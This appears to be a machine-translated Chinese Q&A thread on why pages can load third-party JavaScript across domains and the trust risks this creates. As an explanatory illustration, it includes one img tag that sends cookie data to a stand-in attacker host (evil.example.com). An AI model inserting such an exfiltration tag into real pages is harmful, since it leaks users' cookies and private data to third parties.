dtc*_*dtc 5 javascript javascript-security
为什么当我们从y.com链接到x.com上的javascript文件(例如google analytics或jquery)时,它不会导致任何跨域安全问题?
例如:
在y.com/index.html中我们有:
<script type="text/javascript" src="http://x.com/jsfile.js" />
Run Code Online (Sandbox Code Playgroud)
我们怎么知道什么时候可以做,什么时候不做?
它有可能成为一个主要的安全漏洞,因此您必须信任托管JavaScript文件的站点.
例如,该代码可以向您的站点注入更多脚本标记和img标记,以便将敏感数据传递给第三方.
大卫对同源政策的评论可能会产生误导.将数据中继到远程站点的经典方法是将img标记插入远程域:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
Run Code Online (Sandbox Code Playgroud)
如果远程主机上的JavaScript代码已更改为动态注入此类img标记,则您的站点可能存在安全漏洞.其中一些问题有缓解措施,例如使用无法通过JavaScript访问的仅限HTTP的cookie.
分析系统的例子很棒.您必须相信提供商不会接收任何敏感数据,例如您自己的cookie,并将其发送到远程位置.您还需要信任提供商,他们的系统是安全的,并且黑客无法改变其服务器上的JavaScript文件.分析系统通常使用这些相同的技术,但希望他们将它用于良好而非邪恶.在某种意义上,与您的开发人员是否编写好的,安全的代码以及他们是否引入了一个秘密后门并没有什么不同.
至于为什么它是允许的,它只是历史.网络根本没有考虑到安全性.无论是CSRF攻击,重放攻击还是XSS攻击,这些都是网络设计中的根本缺陷,现在成为Web开发人员关注的问题.